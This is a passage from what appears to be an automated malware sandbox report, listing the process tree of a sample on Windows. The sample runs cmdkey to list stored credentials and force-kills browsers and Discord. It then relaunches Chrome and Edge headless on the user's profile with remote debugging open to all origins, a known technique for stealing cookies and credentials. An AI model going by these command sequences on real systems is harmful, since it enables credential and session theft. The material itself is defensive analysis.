  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4908
- C:\Windows\system32\cmdkey.exe
  "cmdkey" /list
  2⤵
  PID:3728
- C:\Windows\system32\cmdkey.exe
  "cmdkey" /list:TERMSRV/69.48.201.74
  2⤵
  PID:4100
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:5496
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM chrome.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5248
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM msedge.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5820
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM chrome.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2540
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM brave.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5660
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM Discord.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1264
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM opera.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2500
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM vivaldi.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3268
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM DiscordCanary.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1268
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM firefox.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4552
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM DiscordPTB.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3500
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM dragon.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3152
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM DiscordDevelopment.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2288
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM maxthon.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1832
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM uc_browser.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1896
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:5112
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM slimjet.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1412
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM cent_browser.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4304
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM epic.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:420
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM torch.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5164
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM whale.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2672
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM 360browser.exe
  2⤵
  - Kills process with taskkill
  PID:5900
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM qqbrowser.exe
  2⤵
  - Kills process with taskkill
  PID:4108
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM browser.exe
  2⤵
  - Kills process with taskkill
  PID:236
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:5060
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:3896
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:4836
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:2692
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:4312
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:2900
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:4848
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:3420
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:5220
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:3908
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:2468
- C:\Windows\system32\tasklist.exe
  "tasklist"
  2⤵
  - Discovers running processes
  PID:5760
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1896
- C:\Windows\system32\tasklist.exe
  "tasklist" /FI "IMAGENAME eq chrome.exe"
  2⤵
  - Discovers running processes
  PID:1412
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --restore-last-session --remote-debugging-port=46092 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --start-minimized --no-sandbox --disable-gpu
  2⤵
  - Uses browser remote debugging
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  PID:4304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffd27cac728,0x7ffd27cac734,0x7ffd27cac740
    3⤵
    PID:3300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2580 /prefetch:2
    3⤵
    PID:1684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2688 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3988
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2648 /prefetch:13
    3⤵
    PID:5268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3164 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3212 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5340
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3740 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4140 /prefetch:14
    3⤵
    PID:5784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4656 /prefetch:14
    3⤵
    PID:2580
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4756 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4804 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2500
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2668
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:14
    3⤵
    PID:5472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4980 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4608
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4916 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:14
    3⤵
    PID:1428
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:14
    3⤵
    PID:1264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=46092 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:3020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4872 /prefetch:14
    3⤵
    PID:4672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:14
    3⤵
    PID:2080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=2584,i,6393173693432792602,16977914278322602874,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5248 /prefetch:14
    3⤵
    PID:2016
- C:\Windows\system32\tasklist.exe
  "tasklist" /FI "IMAGENAME eq chrome.exe"
  2⤵
  - Discovers running processes
  PID:4344
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM chrome.exe
  2⤵
  - Kills process with taskkill
  PID:6064
- C:\Windows\system32\tasklist.exe
  "tasklist" /FI "IMAGENAME eq msedge.exe"
  2⤵
  - Discovers running processes
  PID:4248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --restore-last-session --remote-debugging-port=40583 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --start-minimized --no-sandbox --disable-gpu
  2⤵
  - Uses browser remote debugging
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  PID:5992
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x254,0x258,0x25c,0x224,0x27c,0x7ffd24efc188,0x7ffd24efc194,0x7ffd24efc1a0
    3⤵
    PID:4552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2544 /prefetch:2
    3⤵
    PID:4656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2880 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4856
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3108 /prefetch:13
    3⤵
    PID:3388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-pre-read-main-dll --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=40583 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3116 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:4280
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=40583 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3792 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:2392
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=40583 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3796 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:14
    3⤵
    PID:6060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4508 /prefetch:14
    3⤵
    PID:4232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,3294125454579410112,18020532863978949783,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4668 /prefetch:14
    3⤵
    PID:3340
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
